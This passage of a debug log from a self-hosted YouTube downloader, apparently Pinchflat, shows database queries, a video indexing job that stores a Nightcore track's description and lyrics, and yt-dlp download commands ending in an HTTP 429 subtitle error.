viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, 1, ~U[2026-05-28 00:00:06Z]] 22:23:30.238 [debug] QUERY OK source="sources" db=0.2ms idle=262.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:30.239 [debug] QUERY OK source="media_items" db=0.2ms idle=125.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 14:39:42Z], 1] 22:23:30.396 [debug] QUERY OK source="media_items" db=156.4ms idle=125.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song: Hero\nArtist: Skillet\nCover: Seraphina Rossi & Angelina De Luca & JXNNA\nAnime: Cyberpunk: Edgerunners 2\n\n❇️ Listen to our music on Spotify: https://open.spotify.com/artist/7aN8OCNif0ahcKC8D4dJa7\n💚 - \"But it hits different\" Playlists on Spotify: https://open.spotify.com/playlist/4opkFpcDEvzElyMoAIFBR1\n💚 - \"Best Rock Covers\" Playlist on Spotify: https://open.spotify.com/playlist/2fWaR4pn2ZqxoDG76U6RXt\n🎵 - Listen to Best Nightcore in this YouTube Playlist: https://youtube.com/playlist?list=PLGb-QRliHh7QiGq9krOS1cTpUUAcgwdCQ\n\nSeraphina Rossi\nhttps://open.spotify.com/artist/2loNTfuryAQSwN7bXzmwC3\nhttps://www.youtube.com/channel/UCWFPYvJabGylK66XXC63NkQ\nhttps://x.com/SeraphinaRossi_\n\n➡️ Song: https://open.spotify.com/track/1HWylmBoQjCUPERabfXW3F\n⬇️ Artwork by\n- Picture 1 https://www.pixiv.net/en/artworks/146668303\n- Picture 2 https://www.pixiv.net/en/artworks/146693248\n- Picture 3 https://www.pixiv.net/en/artworks/146761120\n- Picture 4 https://www.pixiv.net/en/artworks/146762526\n- Picture 5 https://www.pixiv.net/en/artworks/146788727\n- Picture 6 https://www.pixiv.net/en/artworks/146886613\n- Picture 7 https://www.pixiv.net/en/artworks/146922414\n- Picture 8 https://www.pixiv.net/en/artworks/146935125\n- Picture 9 https://www.pixiv.net/en/artworks/147113265\n- Picture 10 https://www.pixiv.net/en/artworks/147189123\n- Picture 11 https://www.pixiv.net/en/artworks/147200412\n- Picture 12 https://www.pixiv.net/en/artworks/147230649\n- Picture 13 https://x.com/QUASARCAKE/status/2072032281980793331\n- Picture 14 https://x.com/300beans666/status/2074124098935152890\n- Picture 15 https://x.com/7xAvmwhJECGRoj3/status/2072715591367233544\n- Picture 16 https://x.com/YONE_FateSealed/status/2072977032074678609\n- Picture 17 https://x.com/potentiallyfrog/status/2073177084097179928\n\n===============================\n\n📝 Hero Lyrics:\n\n[Verse 1: John Cooper & Jen Ledger]\nI'm just a step away\nI'm just a breath away\nLosin' my faith today\nWe're fallin' off the edge today\nI am just a man\nNot superhuman\nI'm not superhuman\nSomeone save me from the hate\n\n[Pre-Chorus: John Cooper & Jen Ledger]\nIt's just another war\nJust another family torn\nWe're falling from my faith today\nJust a step on the edge\nJust another day in the world we live\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Verse 2: John Cooper & Jen Ledger]\nI've gotta fight today\nTo live another day\nSpeakin' my mind today\nMy voice will be heard today\nI've gotta make a stand\nBut I am just a man\nI'm not superhuman\nMy voice will be heard today\n\n[Pre-Chorus: John Cooper & Jen Ledger]\nIt's just another war\nJust another family torn\nMy voice will be heard today\nIt's just another kill\nThe countdown begins to destroy ourselves\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Post-Chorus: John Cooper]\nI need a hero to save my life\nI need a hero just in time\nSave me just in time\nSave me just in time\n\n[Bridge: John Cooper & Jen Ledger, John Cooper, Jen Ledger]\nWho's gonna fight for what's right, who's gonna help us survive?\nWe're in the fight of our lives, and we're not ready to die\nWho's gonna fight for the weak, who's gonna make 'em believe?\nI've got a hero (I've got a hero) livin' in me\nI've gotta fight for what's right, today I'm speakin' my mind\nAnd if it kills me tonight, I will be ready to die\nA hero's not afraid to give his life\nA hero's gonna save me just in time\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Outro: John Cooper, John Cooper & Jen Ledger]\n(I need a hero)\nWho's gonna fight for what's right, who's gonna help us survive?\n(I need a hero)\nWho's gonna fight for the weak, who's gonna make 'em believe?\n(I need a hero)\nI need a hero\nA hero's gonna save me just in time\n\n===============================\n\n#nightcore\u200B\u200B #hero #skillet #butithitshard\n\n©️ COPYRIGHT " <> ..., "Nightcore - Hero (But it hits hard) (Lyrics)", "f9146031-bfa8-4fba-aaa2-006f9b6d16a3", false, "zo9o4OiilLg", 195, false, "https://www.youtube.com/watch?v=zo9o4OiilLg", 40, "/downloads/Nightcore/Nightcore/2026-07-23Nightcore - Hero (But it hits hard) (Lyrics)[zo9o4OiilLg].m4a", false, false, 1, [], 1, ~U[2026-07-23 14:39:42Z], ~U[2026-07-24 02:23:30Z], ~U[2026-07-24 02:23:30Z], "Song: Hero\nArtist: Skillet\nCover: Seraphina Rossi & Angelina De Luca & JXNNA\nAnime: Cyberpunk: Edgerunners 2\n\n❇️ Listen to our music on Spotify: https://open.spotify.com/artist/7aN8OCNif0ahcKC8D4dJa7\n💚 - \"But it hits different\" Playlists on Spotify: https://open.spotify.com/playlist/4opkFpcDEvzElyMoAIFBR1\n💚 - \"Best Rock Covers\" Playlist on Spotify: https://open.spotify.com/playlist/2fWaR4pn2ZqxoDG76U6RXt\n🎵 - Listen to Best Nightcore in this YouTube Playlist: https://youtube.com/playlist?list=PLGb-QRliHh7QiGq9krOS1cTpUUAcgwdCQ\n\nSeraphina Rossi\nhttps://open.spotify.com/artist/2loNTfuryAQSwN7bXzmwC3\nhttps://www.youtube.com/channel/UCWFPYvJabGylK66XXC63NkQ\nhttps://x.com/SeraphinaRossi_\n\n➡️ Song: https://open.spotify.com/track/1HWylmBoQjCUPERabfXW3F\n⬇️ Artwork by\n- Picture 1 https://www.pixiv.net/en/artworks/146668303\n- Picture 2 https://www.pixiv.net/en/artworks/146693248\n- Picture 3 https://www.pixiv.net/en/artworks/146761120\n- Picture 4 https://www.pixiv.net/en/artworks/146762526\n- Picture 5 https://www.pixiv.net/en/artworks/146788727\n- Picture 6 https://www.pixiv.net/en/artworks/146886613\n- Picture 7 https://www.pixiv.net/en/artworks/146922414\n- Picture 8 https://www.pixiv.net/en/artworks/146935125\n- Picture 9 https://www.pixiv.net/en/artworks/147113265\n- Picture 10 https://www.pixiv.net/en/artworks/147189123\n- Picture 11 https://www.pixiv.net/en/artworks/147200412\n- Picture 12 https://www.pixiv.net/en/artworks/147230649\n- Picture 13 https://x.com/QUASARCAKE/status/2072032281980793331\n- Picture 14 https://x.com/300beans666/status/2074124098935152890\n- Picture 15 https://x.com/7xAvmwhJECGRoj3/status/2072715591367233544\n- Picture 16 https://x.com/YONE_FateSealed/status/2072977032074678609\n- Picture 17 https://x.com/potentiallyfrog/status/2073177084097179928\n\n===============================\n\n📝 Hero Lyrics:\n\n[Verse 1: John Cooper & Jen Ledger]\nI'm just a step away\nI'm just a breath away\nLosin' my faith today\nWe're fallin' off the edge today\nI am just a man\nNot superhuman\nI'm not superhuman\nSomeone save me from the hate\n\n[Pre-Chorus: John Cooper & Jen Ledger]\nIt's just another war\nJust another family torn\nWe're falling from my faith today\nJust a step on the edge\nJust another day in the world we live\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Verse 2: John Cooper & Jen Ledger]\nI've gotta fight today\nTo live another day\nSpeakin' my mind today\nMy voice will be heard today\nI've gotta make a stand\nBut I am just a man\nI'm not superhuman\nMy voice will be heard today\n\n[Pre-Chorus: (truncated) 22:23:30.480 [debug] QUERY OK source="sources" db=83.9ms idle=281.9ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 02:23:30Z], ~U[2026-07-24 02:23:30Z], 1] 22:23:30.481 [debug] QUERY OK source="media_items" db=0.6ms idle=242.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:23:30.483 [debug] QUERY OK source="media_items" db=0.1ms idle=87.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:23:30.483 [debug] QUERY OK source="media_items" db=0.0ms idle=2.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:23:30.727 [debug] QUERY OK source="tasks" db=134.5ms idle=110.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [224, 1, ~U[2026-07-24 02:23:30Z], ~U[2026-07-24 02:23:30Z]] 22:23:30.875 [info] {"args":{"force":true,"id":1},"id":223,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":46033263,"event":"job:stop","queue_time":1053614,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:23:32.547 [info] GET /media_profiles 22:23:32.547 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:23:32.547 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1672.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:23:32.548 [debug] QUERY OK source="settings" db=0.0ms idle=1666.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.548 [debug] QUERY OK source="settings" db=0.0ms idle=1654.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.548 [debug] QUERY OK source="settings" db=0.0ms idle=830.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.549 [info] Sent 200 in 2ms 22:23:34.158 [info] GET /media_profiles/1 22:23:34.158 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:23:34.159 [debug] QUERY OK source="media_profiles" db=0.2ms idle=440.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:34.159 [debug] QUERY OK source="sources" db=0.2ms idle=441.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:23:34.159 [debug] QUERY OK source="settings" db=0.1ms idle=441.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:34.159 [debug] QUERY OK source="settings" db=0.1ms idle=441.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:34.160 [debug] QUERY OK source="settings" db=0.1ms idle=263.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:34.161 [info] Sent 200 in 3ms 22:23:47.293 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.252 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:17.296 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:47.299 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.254 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:17.301 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:47.303 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.255 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:17.306 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:24.441 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784859984441376006,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:26:24.442 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1723.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:26:24.442 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:26:24.443 [debug] QUERY OK source="sources" db=0.4ms idle=1319.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:26:24.444 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=725.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:24.445 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=132.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:26:24.446 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:26:24.447 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:24.447 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:24.447 [debug] Running yt-dlp command for action: get_downloadable_status 22:26:24.448 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:24.448 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:24.448 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:24.448 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/60/2b601065bfe721c6e13db5640f294519af26a6cf7c0f3ab53c4a8105c92a0a9e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:26:26.477 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/60/2b601065bfe721c6e13db5640f294519af26a6cf7c0f3ab53c4a8105c92a0a9e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:26:26.477 [debug] Running yt-dlp command for action: download 22:26:26.478 [debug] QUERY OK source="settings" db=0.1ms idle=759.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:26.478 [debug] QUERY OK source="settings" db=0.1ms idle=760.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:26.478 [debug] QUERY OK source="settings" db=0.0ms idle=760.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:26.478 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5c/9a/5c9adce38307cb7d12582f5820133fe188d6668c6d143d9cf75995b3870f9732.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:26:28.983 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5c/9a/5c9adce38307cb7d12582f5820133fe188d6668c6d143d9cf75995b3870f9732.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:26:28.983 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:26:29.210 [info] {"error":"** (Oban.PerformError) 